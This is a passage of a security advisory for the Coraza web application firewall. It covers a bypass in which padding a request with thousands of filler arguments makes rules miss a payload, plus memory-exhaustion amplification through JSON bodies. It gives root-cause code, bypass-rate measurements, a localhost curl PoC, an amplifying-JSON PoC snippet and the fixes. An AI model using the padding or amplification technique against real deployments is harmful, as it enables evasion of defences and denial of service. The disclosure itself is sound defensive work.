        tx.debugLogger.Warn().Msg("skipping get request argument, over limit")
        return
    }
    tx.variables.argsGet.Add(key, value)
}

func (tx *Transaction) checkArgumentLimit(c *collections.NamedCollection) bool {
    return c.Len() >= tx.WAF.ArgumentLimit
}

AddGetRequestArgument, AddPostRequestArgument, and AddPathRequestArgument silently return once the per-collection argument count reaches WAF.ArgumentLimit (default 1000, see internal/corazawaf/waf.go:346). No error variable is set, no transaction flag is raised, and no rule can observe that a drop occurred.

Worse, ExtractGetArguments (transaction.go:761) iterates the map[string][]string returned by urlutil.ParseQuery:

func (tx *Transaction) ExtractGetArguments(uri string) {
    data := urlutil.ParseQuery(uri, '&')
    for k, vs := range data {        // Go map iteration order is randomized
        for _, v := range vs {
            tx.AddGetRequestArgument(k, v)
        }
    }
}

Because Go randomizes map iteration order, which of the caller-supplied arguments survive the limit is non-deterministic. An attacker can pad the URI with filler arguments; any one of them — including the malicious payload — may be the one silently discarded, and therefore invisible to every SecRule targeting ARGS, ARGS_GET, or ARGS_NAMES.

Secondary finding — POST urlencoded processor bypasses the cap entirely

internal/bodyprocessors/urlencoded.go:29 populates ARGS_POST without invoking checkArgumentLimit:

values := urlutil.ParseQuery(b, '&')
argsCol := v.ArgsPost()
for k, vs := range values {
    argsCol.Set(k, vs)            // direct write, no limit check
}

So AddPostRequestArgument's cap is effectively dead code for real urlencoded bodies. ARGS_POST grows unbounded — both a bypass surface and a memory-DoS surface.

Impact

Any SecRule or CRS rule that inspects ARGS, ARGS_GET, ARGS_NAMES, ARGS_GET_NAMES, or ARGS_PATH can be evaded by inflating the request's argument count past SecArgumentsLimit (default 1000). The bypass probability per request scales with overflow:

Total args in request Observed bypass rate of ARGS rule
1000 (at limit) 0 / 50 (0.0%)
1001 (1 over) 0 / 2000 (< 0.1%)
1100 (100 over) 45 / 500 (9.0%)
2000 (1000 over) 106 / 200 (53.0%)
10000 (10× limit) 47 / 50 (94.0%)

The rate matches the theoretical model (N − limit) / N. An attacker flooding with 10000 arguments lands a bypass on ~94% of requests; one failed attempt costs them nothing, so a handful of retries yields a near-certain evasion against any ARGS-targeted rule, including the OWASP CRS SQLi, XSS, RCE, and LFI detection families.

The issue is silent — operators see no audit-log entry, no error, and no MULTIPART_STRICT_ERROR-style flag variable, because none exists.

Proof of Concept

Start a Coraza-wrapped HTTP server with a trivial ARGS rule:

SecRuleEngine On
SecRule ARGS "@contains ATTACK_HERE_XYZ" "id:9001,phase:2,deny,status:403,msg:'Attack detected'"

Baseline sanity checks pass:

$ curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:8090/?evil=ATTACK_HERE_XYZ'
403

Now pad the URI with 9999 filler parameters and one malicious parameter placed at a random offset. Running 50 such trials against a real HTTP listener with real curl:

=== 10000 args (attacker adds 9999 filler parameters) ===
total_args=10000 trials=50 BLOCKED=3 BYPASS=47 (94.0%)

47 of 50 attack requests were served HTTP 200 despite the payload being present in the URI. The defending rule never fired because Coraza discarded the argument before phase:2 evaluation.

Comparison with ModSecurity v3

The engine-level bug is present in ModSecurity v3 as well — src/transaction.cc:282-291 has the equivalent silent-drop:

bool Transaction::addArgument(...) {
    if (m_rules->m_argumentsLimit.m_set
            && m_variableArgs.size() >= m_rules->m_argumentsLimit.m_value) {
        ms_dbg(4, "Skipping request argument, over limit (...)")
        return false;                    // return value is ignored at the GET callsite
    }
    ...
}

ModSecurity is in fact more deterministic than Coraza — its query-string parser (extractArguments, transaction.cc:254) splits with an ordered ssplit, so it is the tail of the query that silently drops. An attacker places the payload first and pads the tail; no retry loop needed.

However, ModSecurity's default configuration papers over the engine bug. modsecurity.conf-recommended ships:

SecArgumentsLimit 1000

# If SecArgumentsLimit has been set, you probably want to reject any
# request body that has only been partly parsed. The value used in this
# rule should match what was used with SecArgumentsLimit
SecRule &ARGS "@ge 1000" \
    "id:'200007',phase:2,t:none,log,deny,status:400,msg:'Failed to fully parse request body due to large argument count',severity:2"

Because addArgument caps the single m_variableArgs collection at exactly the limit, &ARGS == limit iff the limit was hit — rule 200007 converts silent-drop into explicit HTTP 400. ModSecurity also has a complementary REQBODY_ERROR path: its JSON processor cancels parsing on addArgument failure, and rule 200002 denies on REQBODY_ERROR (verified by test/test-cases/regression/secargumentslimit.json, test 2/2).

Coraza's coraza.conf-recommended ships no equivalent rule. That is what makes the bug exploitable out-of-the-box in Coraza and not in ModSecurity.

Silent-drop at engine Compensating default rule Exploitable out-of-the-box
ModSecurity v3 yes yes (id:200007, &ARGS @ge 1000) no — denies at limit
Coraza v3 yes no yes

Mitigation

Recommended fixes, in the order they should be applied. Config-layer (#1) closes the default-install exposure quickly; engine-layer (#2, #3) is the durable fix.

1. Ship compensating rules in coraza.conf-recommended (config-layer, immediate)

Port the ModSecurity guard, but keyed per-collection — Coraza caps ARGS_GET, ARGS_POST, and ARGS_PATH independently, unlike ModSecurity's unified m_variableArgs. A single &ARGS @ge 1000 check on the concatenated collection would false-positive at e.g. GET=500 + POST=500 (no drops occurred but aggregate == 1000):

SecRule &ARGS_GET  "@ge 1000" \
    "id:200007,phase:2,t:none,log,deny,status:400,msg:'ARGS_GET over SecArgumentsLimit; request partially parsed'"
SecRule &ARGS_POST "@ge 1000" \
    "id:200008,phase:2,t:none,log,deny,status:400,msg:'ARGS_POST over SecArgumentsLimit; request partially parsed'"
SecRule &ARGS_PATH "@ge 1000" \
    "id:200009,phase:2,t:none,log,deny,status:400,msg:'ARGS_PATH over SecArgumentsLimit; request partially parsed'"

Both &VAR (variable count, internal/seclang/rule_parser.go:40) and @ge (internal/operators/testdata/ge.json) are supported. Thresholds must track SecArgumentsLimit if the operator overrides it.

2. Expose a transaction-visible flag (engine-layer, durable)

Introduce an ARGUMENTS_LIMIT_REACHED collection variable, analogous to MULTIPART_STRICT_ERROR and URLENCODED_ERROR, set to 1 by AddGetRequestArgument / AddPostRequestArgument / AddPathRequestArgument whenever they drop. Replace the config rules above with a single engine-backed check:

SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" \
    "id:200006,phase:1,t:none,log,deny,status:413,msg:'Argument limit reached; request rejected'"

This protects operators with hand-rolled configurations, not just those who use the recommended file.

3. Close the POST urlencoded body-processor gap

internal/bodyprocessors/urlencoded.go should route through AddPostRequestArgument (or invoke checkArgumentLimit explicitly) so the cap is actually enforced for urlencoded request bodies. Currently a 10000-arg POST body populates ARGS_POST in full, regardless of SecArgumentsLimit.

4. Make ExtractGetArguments order-deterministic

Replace the urlutil.ParseQuery → map → range pattern with an ordered slice-based parse. Combined with #2, this means when the limit is hit the outcome is at least deterministic (fail-closed via the flag) rather than a probabilistic game.

Affected versions

All releases since v3.0.0 that ship the SecArgumentsLimit directive (introduced in PR #812, commit 2fd87b89, June 2023). Confirmed reproducible on main at commit 599ae64a with default configuration.

References

  • internal/corazawaf/transaction.go lines 770–808
  • internal/corazawaf/waf.go line 346 (ArgumentLimit: 1000)
  • internal/bodyprocessors/urlencoded.go line 29 (POST-side gap)
  • internal/seclang/rule_parser.go:40 (&VAR count syntax)
  • internal/collections/concat_test.go:20 (ARGS as ConcatCollection of ARGS_GET/ARGS_POST/ARGS_PATH)
  • PR #812 — introduction of SecArgumentsLimit
  • ModSecurity v3 src/transaction.cc:282-291 (same silent-drop)
  • ModSecurity v3 modsecurity.conf-recommended rule id:200007 (compensating config-layer deny)

Resolution (2026-07-28)

Fixed in https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/1, implementing all four mitigation steps above, plus additional gaps found while verifying the fix (see below):

  1. Compensating coraza.conf-recommended rules — shipped as ARGUMENTS_LIMIT_REACHED-based rules (id:200004/200005, phase:1 for GET/PATH and phase:2 for POST), per-flag rather than the originally-sketched per-collection &ARGS_GET/&ARGS_POST/&ARGS_PATH counts, since the flag (below) already distinguishes GET/PATH-time drops from POST-time drops without needing separate threshold rules per collection.
  2. ARGUMENTS_LIMIT_REACHED transaction variable — added, set by every argument-adding path that can drop: AddGetRequestArgument, AddPostRequestArgument, AddPathRequestArgument, AddResponseArgument, the urlencoded body processor, and (see below) the JSON body processor and the query-string/urlencoded parser itself.
  3. internal/bodyprocessors/urlencoded.go now enforces the limit — threads ArgumentLimit through BodyProcessorOptions into the body processor, closing the POST-side gap.
  4. ExtractGetArguments is now order-deterministic — via ParseQueryOrdered, so when the limit is hit the tail is dropped predictably instead of a randomized subset.

Additional gaps found while verifying the fix (folded into the same PR)

While confirming this fix actually closed the class of bug, three more instances of the same underlying "argument limit isn't really enforced" problem turned up, overlapping with an independently-reported advisory, GHSA-3ww9-vw83-9w5x (JSON/urlencoded body processors ignore SecArgumentsLimit, enabling memory-exhaustion DoS):

  • The JSON body processor had zero enforcement at all (GHSA-3ww9's actual reported bug, with a working PoC: a small body decoding to a wide flat JSON array like [1,1,1,...] expanded into millions of ARGS_POST entries, exhausting memory on a single request). readJSON/readItems now stop flattening once ArgumentLimit entries are collected, for both request (ARGS_POST) and response (RESPONSE_ARGS) bodies — response previously received an empty BodyProcessorOptions{} with no limit at all.
  • ParseQuery/ParseQueryOrdered built their entire result before any caller-side cap ran. Even after fixing (3)/(4) above, a query string or urlencoded body with millions of pairs still spent the memory during parsing itself, before any limit check downstream ever got a chance to run. Both now accept a limit and stop parsing immediately once reached.
  • checkArgumentLimit (and AddResponseArgument's equivalent) compared against Len(), which counts distinct keys, not total values. Map.Add appends repeated-key values into the same map entry without growing it, so a=1&a=1&a=1... never tripped the limit no matter how large it grew — confirmed empirically: 1,000,000 repeats of a=1& via the already-"protected" GET-argument path produced ~60MB of unbounded heap growth despite SecArgumentsLimit 1000. Added Map.TotalValues() (cheap even under this attack — it sums len(slice) per key, so cost is bounded by distinct keys present, not by how many values piled up under any single one of them) and switched both checks to use it.

Verified before/after with heap measurements and direct parser unit tests (exactly limit entries returned regardless of a 1,000,000-entry adversarial input, for both repeated-key and distinct-key shapes). Full repo go test ./... -race, go vet, gofmt, golangci-lint all clean. BenchmarkReadJSONArgumentLimit shows the fix also cuts CPU time ~17x on a 100k-element flat array (741µs vs 12.5ms), since capped iteration stops early instead of walking the whole structure.

GHSA-3ww9-vw83-9w5x's own description has been updated to point here rather than duplicating this fix in a second PR.

Follow-up (2026-09-30): byte-budget bypass in the array-length write path

The "Resolution" section above states that readJSON/readItems "stop flattening once ArgumentLimit entries are collected". That is true for every per-leaf write, but not for the array-length summary entry written after each gjson.ForEach call returns (internal/bodyprocessors/json.go, the if arrayLen > 0 block). That write checked argumentLimit but never byteBudget:

if arrayLen > 0 {
    if argumentLimit > 0 && *argCount >= argumentLimit {
        iterationTruncated = true
    } else {
        k := string(objKey)
        lenStr := strconv.Itoa(arrayLen)
        res[k] = append(res[k], lenStr)
        *usedBytes += len(objKey) + len(lenStr)   // accounted for, but never checked against byteBudget first
        *argCount++
    }
}

objKey (the full flattened path) grows by roughly a fixed amount per nesting level, while argCount grows by only one per level. That is exactly the amplification byteBudget exists to bound (see flattenBytesFactor), but only the per-leaf write inside the ForEach callback checks it before writing; this post-ForEach write does not. A long property name nested under many single-element arrays inflates memory far past the configured byte budget while argumentLimit alone never trips, because each nesting level contributes only one argument, however long its path.

PoC

const keyLen = 20000
const depth = 200
body := `{"` + strings.Repeat("a", keyLen) + `":` + strings.Repeat("[", depth) + strings.Repeat("]", depth) + `}`
res, truncated, err := readJSON(body, 1024, 1000)

Against main at commit 19b86824: a 20,405-byte body produces 199 entries totalling 4,020,596 bytes of flattened keys (~197x the body size) and truncated=false, err=nil -- the byte budget for a body this size is len(body) * flattenBytesFactor (~163 KB), so this is roughly 25x over budget with no signal to the caller. A reviewer measured +961 MB heap growth end-to-end for a 1 MB body with a long property name. The recommended SecRequestBodyLimit (12.5 MiB) admits proportionally larger amplification. Because every ARGS_NAMES-targeted regex in CRS scans these flattened keys, this is also a CPU cost, not just memory. ProcessResponse shares the same readJSON/readItems code path, so RESPONSE_ARGS is affected identically.

Fix

Move the byte-budget check into the same else branch as the argument-limit check, computing lenStr first so its length is known before the check (mirroring the per-leaf write's own check three lines above it):

if argumentLimit > 0 && *argCount >= argumentLimit {
    iterationTruncated = true
} else {
    lenStr := strconv.Itoa(arrayLen)
    if byteBudget > 0 && *usedBytes+len(objKey)+len(lenStr) > byteBudget {
        iterationTruncated = true
    } else {
        k := string(objKey)
        res[k] = append(res[k], lenStr)
        *usedBytes += len(objKey) + len(lenStr)
        *argCount++
    }
}

Verified: the PoC above now returns truncated=true, with total flattened bytes bounded by the byte budget (163,160 bytes measured, vs. 4,020,596 before the fix).

AI involvement disclosure

  • AI tools/models used: Claude Sonnet 5 (Anthropic), via Claude Code.
  • What was generated/assisted: the vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, wrote and ran a fresh PoC and heap measurement against commit 19b86824, confirmed the amplification and lack of truncation, verified the fix closes the gap, and drafted this addendum.
  • Review performed: reproduced by hand by running the PoC above against a clean checkout of commit 19b86824 before and after the fix, comparing entry count, total flattened bytes, and the truncated flag; added and ran TestReadJSONArrayLengthWriteRespectsByteBudget, confirmed it fails against the pre-fix code (4,020,596 bytes, truncated=false) and passes against the fix; ran the full test suite, the build-tag matrix (coraza.no_memoize, coraza.rule.multiphase_evaluation, coraza.rule.no_regex_multiline), and the testing/coreruleset CRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.

Fix: https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/2

Patched in 3.8.1

The 3.8.0 fix was incomplete. 3.8.1 completes it: array-length entries produced while flattening JSON bodies are now held to the flattening byte budget (previously they could amplify a small body into a large memory allocation), a body over that budget now sets REQBODY_ERROR, and array-length entries no longer count toward SecArgumentsLimit. Upgrade to 3.8.1; 3.8.0 is listed as affected.

Severity (revised 2026-10-02)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L (7.2, High).

Attack Complexity is Low: filler arguments alone trigger the drop, on any deployment, and since 3.8.0 the drop is deterministic. Availability is Low because this advisory also covers unbounded ARGS_POST growth from urlencoded bodies and, in 3.8.1, JSON flattening amplification, both of which consume memory per request. The previous vector scored Confidentiality Low and Availability None.

Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.

AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the S:C/I:L impact convention and directed this update.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-06T20:38:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Root Cause\n\nFile: `internal/corazawaf/transaction.go`, lines 770\u2013808 (since commit 2fd87b89, PR #812, 2023-06-14)\n\n```go\nfunc (tx *Transaction) AddGetRequestArgument(key string, value string) {\n    if tx.checkArgumentLimit(tx.variables.argsGet) {\n        tx.debugLogger.Warn().Msg(\"skipping get request argument, over limit\")\n        return\n    }\n    tx.variables.argsGet.Add(key, value)\n}\n\nfunc (tx *Transaction) checkArgumentLimit(c *collections.NamedCollection) bool {\n    return c.Len() \u003e= tx.WAF.ArgumentLimit\n}\n```\n\n`AddGetRequestArgument`, `AddPostRequestArgument`, and `AddPathRequestArgument` silently `return` once the per-collection argument count reaches `WAF.ArgumentLimit` (default `1000`, see `internal/corazawaf/waf.go:346`). No error variable is set, no transaction flag is raised, and no rule can observe that a drop occurred.\n\nWorse, `ExtractGetArguments` (`transaction.go:761`) iterates the `map[string][]string` returned by `urlutil.ParseQuery`:\n\n```go\nfunc (tx *Transaction) ExtractGetArguments(uri string) {\n    data := urlutil.ParseQuery(uri, \u0027\u0026\u0027)\n    for k, vs := range data {        // Go map iteration order is randomized\n        for _, v := range vs {\n            tx.AddGetRequestArgument(k, v)\n        }\n    }\n}\n```\n\nBecause Go randomizes map iteration order, which of the caller-supplied arguments survive the limit is non-deterministic. An attacker can pad the URI with filler arguments; any one of them \u2014 including the malicious payload \u2014 may be the one silently discarded, and therefore invisible to every `SecRule` targeting `ARGS`, `ARGS_GET`, or `ARGS_NAMES`.\n\n### Secondary finding \u2014 POST urlencoded processor bypasses the cap entirely\n\n`internal/bodyprocessors/urlencoded.go:29` populates `ARGS_POST` without invoking `checkArgumentLimit`:\n\n```go\nvalues := urlutil.ParseQuery(b, \u0027\u0026\u0027)\nargsCol := v.ArgsPost()\nfor k, vs := range values {\n    argsCol.Set(k, vs)            // direct write, no limit check\n}\n```\n\nSo `AddPostRequestArgument`\u0027s cap is effectively dead code for real urlencoded bodies. `ARGS_POST` grows unbounded \u2014 both a bypass surface and a memory-DoS surface.\n\n## Impact\n\nAny `SecRule` or CRS rule that inspects `ARGS`, `ARGS_GET`, `ARGS_NAMES`, `ARGS_GET_NAMES`, or `ARGS_PATH` can be evaded by inflating the request\u0027s argument count past `SecArgumentsLimit` (default `1000`). The bypass probability per request scales with overflow:\n\n| Total args in request | Observed bypass rate of ARGS rule |\n|---|---|\n| 1000 (at limit) | 0 / 50 (0.0%) |\n| 1001 (1 over) | 0 / 2000 (\u003c 0.1%) |\n| 1100 (100 over) | 45 / 500 (9.0%) |\n| 2000 (1000 over) | 106 / 200 (53.0%) |\n| 10000 (10\u00d7 limit) | 47 / 50 (94.0%) |\n\nThe rate matches the theoretical model `(N \u2212 limit) / N`. An attacker flooding with 10000 arguments lands a bypass on ~94% of requests; one failed attempt costs them nothing, so a handful of retries yields a near-certain evasion against any ARGS-targeted rule, including the OWASP CRS SQLi, XSS, RCE, and LFI detection families.\n\nThe issue is silent \u2014 operators see no audit-log entry, no error, and no `MULTIPART_STRICT_ERROR`-style flag variable, because none exists.\n\n## Proof of Concept\n\nStart a Coraza-wrapped HTTP server with a trivial ARGS rule:\n\n```conf\nSecRuleEngine On\nSecRule ARGS \"@contains ATTACK_HERE_XYZ\" \"id:9001,phase:2,deny,status:403,msg:\u0027Attack detected\u0027\"\n```\n\nBaseline sanity checks pass:\n\n```\n$ curl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8090/?evil=ATTACK_HERE_XYZ\u0027\n403\n```\n\nNow pad the URI with 9999 filler parameters and one malicious parameter placed at a random offset. Running 50 such trials against a real HTTP listener with real `curl`:\n\n```\n=== 10000 args (attacker adds 9999 filler parameters) ===\ntotal_args=10000 trials=50 BLOCKED=3 BYPASS=47 (94.0%)\n```\n\n47 of 50 attack requests were served `HTTP 200` despite the payload being present in the URI. The defending rule never fired because Coraza discarded the argument before phase:2 evaluation.\n\n## Comparison with ModSecurity v3\n\nThe engine-level bug is present in ModSecurity v3 as well \u2014 `src/transaction.cc:282-291` has the equivalent silent-drop:\n\n```cpp\nbool Transaction::addArgument(...) {\n    if (m_rules-\u003em_argumentsLimit.m_set\n            \u0026\u0026 m_variableArgs.size() \u003e= m_rules-\u003em_argumentsLimit.m_value) {\n        ms_dbg(4, \"Skipping request argument, over limit (...)\")\n        return false;                    // return value is ignored at the GET callsite\n    }\n    ...\n}\n```\n\nModSecurity is in fact *more deterministic* than Coraza \u2014 its query-string parser (`extractArguments`, `transaction.cc:254`) splits with an ordered `ssplit`, so it is the *tail* of the query that silently drops. An attacker places the payload first and pads the tail; no retry loop needed.\n\n**However, ModSecurity\u0027s default configuration papers over the engine bug.** `modsecurity.conf-recommended` ships:\n\n```conf\nSecArgumentsLimit 1000\n\n# If SecArgumentsLimit has been set, you probably want to reject any\n# request body that has only been partly parsed. The value used in this\n# rule should match what was used with SecArgumentsLimit\nSecRule \u0026ARGS \"@ge 1000\" \\\n    \"id:\u0027200007\u0027,phase:2,t:none,log,deny,status:400,msg:\u0027Failed to fully parse request body due to large argument count\u0027,severity:2\"\n```\n\nBecause `addArgument` caps the single `m_variableArgs` collection at exactly the limit, `\u0026ARGS == limit` iff the limit was hit \u2014 rule 200007 converts silent-drop into explicit `HTTP 400`. ModSecurity also has a complementary `REQBODY_ERROR` path: its JSON processor cancels parsing on `addArgument` failure, and rule 200002 denies on `REQBODY_ERROR` (verified by `test/test-cases/regression/secargumentslimit.json`, test 2/2).\n\n**Coraza\u0027s `coraza.conf-recommended` ships no equivalent rule.** That is what makes the bug exploitable out-of-the-box in Coraza and not in ModSecurity.\n\n| | Silent-drop at engine | Compensating default rule | Exploitable out-of-the-box |\n|---|---|---|---|\n| ModSecurity v3 | yes | **yes** (`id:200007`, `\u0026ARGS @ge 1000`) | no \u2014 denies at limit |\n| Coraza v3 | yes | no | **yes** |\n\n## Mitigation\n\nRecommended fixes, in the order they should be applied. Config-layer (#1) closes the default-install exposure quickly; engine-layer (#2, #3) is the durable fix.\n\n### 1. Ship compensating rules in `coraza.conf-recommended` (config-layer, immediate)\n\nPort the ModSecurity guard, but **keyed per-collection** \u2014 Coraza caps `ARGS_GET`, `ARGS_POST`, and `ARGS_PATH` independently, unlike ModSecurity\u0027s unified `m_variableArgs`. A single `\u0026ARGS @ge 1000` check on the concatenated collection would false-positive at e.g. GET=500 + POST=500 (no drops occurred but aggregate == 1000):\n\n```conf\nSecRule \u0026ARGS_GET  \"@ge 1000\" \\\n    \"id:200007,phase:2,t:none,log,deny,status:400,msg:\u0027ARGS_GET over SecArgumentsLimit; request partially parsed\u0027\"\nSecRule \u0026ARGS_POST \"@ge 1000\" \\\n    \"id:200008,phase:2,t:none,log,deny,status:400,msg:\u0027ARGS_POST over SecArgumentsLimit; request partially parsed\u0027\"\nSecRule \u0026ARGS_PATH \"@ge 1000\" \\\n    \"id:200009,phase:2,t:none,log,deny,status:400,msg:\u0027ARGS_PATH over SecArgumentsLimit; request partially parsed\u0027\"\n```\n\nBoth `\u0026VAR` (variable count, `internal/seclang/rule_parser.go:40`) and `@ge` (`internal/operators/testdata/ge.json`) are supported. Thresholds must track `SecArgumentsLimit` if the operator overrides it.\n\n### 2. Expose a transaction-visible flag (engine-layer, durable)\n\nIntroduce an `ARGUMENTS_LIMIT_REACHED` collection variable, analogous to `MULTIPART_STRICT_ERROR` and `URLENCODED_ERROR`, set to `1` by `AddGetRequestArgument` / `AddPostRequestArgument` / `AddPathRequestArgument` whenever they drop. Replace the config rules above with a single engine-backed check:\n\n```conf\nSecRule ARGUMENTS_LIMIT_REACHED \"@eq 1\" \\\n    \"id:200006,phase:1,t:none,log,deny,status:413,msg:\u0027Argument limit reached; request rejected\u0027\"\n```\n\nThis protects operators with hand-rolled configurations, not just those who use the recommended file.\n\n### 3. Close the POST urlencoded body-processor gap\n\n`internal/bodyprocessors/urlencoded.go` should route through `AddPostRequestArgument` (or invoke `checkArgumentLimit` explicitly) so the cap is actually enforced for urlencoded request bodies. Currently a 10000-arg POST body populates `ARGS_POST` in full, regardless of `SecArgumentsLimit`.\n\n### 4. Make `ExtractGetArguments` order-deterministic\n\nReplace the `urlutil.ParseQuery \u2192 map \u2192 range` pattern with an ordered slice-based parse. Combined with #2, this means when the limit is hit the outcome is at least deterministic (fail-closed via the flag) rather than a probabilistic game.\n\n## Affected versions\n\nAll releases since `v3.0.0` that ship the `SecArgumentsLimit` directive (introduced in PR #812, commit `2fd87b89`, June 2023). Confirmed reproducible on `main` at commit `599ae64a` with default configuration.\n\n## References\n\n- `internal/corazawaf/transaction.go` lines 770\u2013808\n- `internal/corazawaf/waf.go` line 346 (`ArgumentLimit: 1000`)\n- `internal/bodyprocessors/urlencoded.go` line 29 (POST-side gap)\n- `internal/seclang/rule_parser.go:40` (`\u0026VAR` count syntax)\n- `internal/collections/concat_test.go:20` (`ARGS` as `ConcatCollection` of `ARGS_GET`/`ARGS_POST`/`ARGS_PATH`)\n- PR #812 \u2014 introduction of `SecArgumentsLimit`\n- ModSecurity v3 `src/transaction.cc:282-291` (same silent-drop)\n- ModSecurity v3 `modsecurity.conf-recommended` rule `id:200007` (compensating config-layer deny)\n\n\n## Resolution (2026-07-28)\n\nFixed in https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/1, implementing all four mitigation steps above, plus additional gaps found while verifying the fix (see below):\n\n1. **Compensating `coraza.conf-recommended` rules** \u2014 shipped as `ARGUMENTS_LIMIT_REACHED`-based rules (`id:200004`/`200005`, phase:1 for GET/PATH and phase:2 for POST), per-flag rather than the originally-sketched per-collection `\u0026ARGS_GET`/`\u0026ARGS_POST`/`\u0026ARGS_PATH` counts, since the flag (below) already distinguishes GET/PATH-time drops from POST-time drops without needing separate threshold rules per collection.\n2. **`ARGUMENTS_LIMIT_REACHED` transaction variable** \u2014 added, set by every argument-adding path that can drop: `AddGetRequestArgument`, `AddPostRequestArgument`, `AddPathRequestArgument`, `AddResponseArgument`, the urlencoded body processor, and (see below) the JSON body processor and the query-string/urlencoded parser itself.\n3. **`internal/bodyprocessors/urlencoded.go` now enforces the limit** \u2014 threads `ArgumentLimit` through `BodyProcessorOptions` into the body processor, closing the POST-side gap.\n4. **`ExtractGetArguments` is now order-deterministic** \u2014 via `ParseQueryOrdered`, so when the limit is hit the tail is dropped predictably instead of a randomized subset.\n\n### Additional gaps found while verifying the fix (folded into the same PR)\n\nWhile confirming this fix actually closed the class of bug, three more instances of the same underlying \"argument limit isn\u0027t really enforced\" problem turned up, overlapping with an independently-reported advisory, **GHSA-3ww9-vw83-9w5x** (JSON/urlencoded body processors ignore SecArgumentsLimit, enabling memory-exhaustion DoS):\n\n- **The JSON body processor had zero enforcement at all** (GHSA-3ww9\u0027s actual reported bug, with a working PoC: a small body decoding to a wide flat JSON array like `[1,1,1,...]` expanded into millions of `ARGS_POST` entries, exhausting memory on a single request). `readJSON`/`readItems` now stop flattening once `ArgumentLimit` entries are collected, for both request (`ARGS_POST`) and response (`RESPONSE_ARGS`) bodies \u2014 response previously received an empty `BodyProcessorOptions{}` with no limit at all.\n- **`ParseQuery`/`ParseQueryOrdered` built their entire result before any caller-side cap ran.** Even after fixing (3)/(4) above, a query string or urlencoded body with millions of pairs still spent the memory during parsing itself, before any limit check downstream ever got a chance to run. Both now accept a `limit` and stop parsing immediately once reached.\n- **`checkArgumentLimit` (and `AddResponseArgument`\u0027s equivalent) compared against `Len()`, which counts distinct keys, not total values.** `Map.Add` appends repeated-key values into the same map entry without growing it, so `a=1\u0026a=1\u0026a=1...` never tripped the limit no matter how large it grew \u2014 confirmed empirically: 1,000,000 repeats of `a=1\u0026` via the already-\"protected\" GET-argument path produced ~60MB of unbounded heap growth despite `SecArgumentsLimit 1000`. Added `Map.TotalValues()` (cheap even under this attack \u2014 it sums `len(slice)` per key, so cost is bounded by distinct keys present, not by how many values piled up under any single one of them) and switched both checks to use it.\n\nVerified before/after with heap measurements and direct parser unit tests (exactly `limit` entries returned regardless of a 1,000,000-entry adversarial input, for both repeated-key and distinct-key shapes). Full repo `go test ./... -race`, `go vet`, `gofmt`, `golangci-lint` all clean. `BenchmarkReadJSONArgumentLimit` shows the fix also cuts CPU time ~17x on a 100k-element flat array (741\u00b5s vs 12.5ms), since capped iteration stops early instead of walking the whole structure.\n\nGHSA-3ww9-vw83-9w5x\u0027s own description has been updated to point here rather than duplicating this fix in a second PR.\n\n## Follow-up (2026-09-30): byte-budget bypass in the array-length write path\n\nThe \"Resolution\" section above states that `readJSON`/`readItems` \"stop\nflattening once `ArgumentLimit` entries are collected\". That is true for\nevery per-leaf write, but not for the array-length summary entry written\nafter each `gjson.ForEach` call returns (`internal/bodyprocessors/json.go`,\nthe `if arrayLen \u003e 0` block). That write checked `argumentLimit` but never\n`byteBudget`:\n\n```go\nif arrayLen \u003e 0 {\n    if argumentLimit \u003e 0 \u0026\u0026 *argCount \u003e= argumentLimit {\n        iterationTruncated = true\n    } else {\n        k := string(objKey)\n        lenStr := strconv.Itoa(arrayLen)\n        res[k] = append(res[k], lenStr)\n        *usedBytes += len(objKey) + len(lenStr)   // accounted for, but never checked against byteBudget first\n        *argCount++\n    }\n}\n```\n\n`objKey` (the full flattened path) grows by roughly a fixed amount per\nnesting level, while `argCount` grows by only one per level. That is exactly\nthe amplification `byteBudget` exists to bound (see `flattenBytesFactor`),\nbut only the per-leaf write inside the `ForEach` callback checks it before\nwriting; this post-`ForEach` write does not. A long property name nested\nunder many single-element arrays inflates memory far past the configured\nbyte budget while `argumentLimit` alone never trips, because each nesting\nlevel contributes only one argument, however long its path.\n\n### PoC\n\n```go\nconst keyLen = 20000\nconst depth = 200\nbody := `{\"` + strings.Repeat(\"a\", keyLen) + `\":` + strings.Repeat(\"[\", depth) + strings.Repeat(\"]\", depth) + `}`\nres, truncated, err := readJSON(body, 1024, 1000)\n```\n\nAgainst `main` at commit `19b86824`: a 20,405-byte body produces 199 entries\ntotalling 4,020,596 bytes of flattened keys (~197x the body size) and\n`truncated=false, err=nil` -- the byte budget for a body this size is\n`len(body) * flattenBytesFactor` (~163 KB), so this is roughly 25x over\nbudget with no signal to the caller. A reviewer measured +961 MB heap growth\nend-to-end for a 1 MB body with a long property name. The recommended\n`SecRequestBodyLimit` (12.5 MiB) admits proportionally larger amplification.\nBecause every `ARGS_NAMES`-targeted regex in CRS scans these flattened keys,\nthis is also a CPU cost, not just memory. `ProcessResponse` shares the 